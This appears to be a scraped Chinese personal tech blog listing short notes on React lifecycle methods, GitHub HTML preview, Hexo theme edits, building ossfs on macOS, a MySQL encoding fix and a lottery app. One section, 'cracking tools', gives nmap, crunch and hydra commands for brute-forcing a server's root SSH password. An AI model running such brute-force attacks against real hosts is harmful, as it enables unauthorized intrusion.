componentWillMount();//组件渲染前
componentDidMount();//组件渲染完成后
componentWillUpdate();//由于Action驱动,组件在更新前
componentDidUpdate();//组件在更新完成后
componentWillReceiveProps();//组件在接受到props之前
浏览GitHub上的网页
我们打开的GitHub上的html文件都是源码
怎么访问html文件呢?
在项目源代码页面链接前缀那加上http://htmlpreview.github.com/?
举个栗子:
需要打开的项目页面:https://github.com/WilleamZhao/lottery/blob/master/index.html
给加上前缀:http://htmlpreview.github.com/?
最终链接:http://htmlpreview.github.io/?https://github.com/WilleamZhao/lottery/blob/master/index.html
破解工具
- linux 破解工具
- 先用nmap扫描目标端口
sudo nmap -O 123.123.123.123
- 使用crunch和社工生成密码字典
crunch 6 8 asdfqwer -c 6000 -o START
- 使用hydra破解密码
sudo hydra -l root -p ../test.txt -t 3 -o save.log -vV 123.123.123.123 ssh
修改hexo next主题, url路径后加index.html
阿里云oss部署hexo不支持自动跳转到index.html页面
所以需要修改next主题生成路径。
特记录下,方便以后修改。
- layout/_macro/post.swig
- node_modules/hexo/lib/plugins/helper/paginator.js
- node_modules/hexo/lib/plugins/helper/list-categories.js
- node_modules/hexo/lib/plugins/helper/tagcloud.js
macosx上安装ossfs服务
ossfs是阿里云 oss 挂载到本地的服务/n
由于阿里云只提供了ubuntu和centos的安装包,所以mac上只能自己编译安装
安装osxfuse
1 | brew cask install osxfuse |
克隆源码
1 | git clone git@github.com:aliyun/ossfs.git |
执行autogen.sh
./autogen.sh
安装openssl,并把openssl拷贝到ossfs文件夹下
1 | brew install openssl |
执行configure
1 | ./configure --with-openssl=/usr/local/opt/openssl |
make & make install
1 | make |
到这里安装就结束了。开始配置
mac os 下idea 插入数据库乱码
今天做一个报表怎么查询都查询不到,后来经过调试发现是中文查询不到,上网上找了很多文章都没搞定。
后来看到我的项目中mysql下的配置文件url是
1 | jdbc:mysql://192.168.1.13:3306/hitu_shop?useUnicode=true&characterEncoding=UTF-8 |
发现有个 useUnicode=true
让org2blog支持中文
因为wordpress不支持non-ascii,所以org2blog不能发布带中文的文章
为了解决这个问题找了很长时间,现把解决方法分享出来。
原文网址:org2blog转ascii
一个日本网站
把下面代码粘到org2blog配置文件下面
年会抽奖软件
公司开年会,要求我们做一个抽奖程序,由于时间比较紧,所以就在网上找了几个抽奖软件&程序。
后来自己写了一个
放到github上了h5抽奖软件
在线地址:http://sourcod.coding.me/lottery/
图片加载有点慢。等一会就出来了。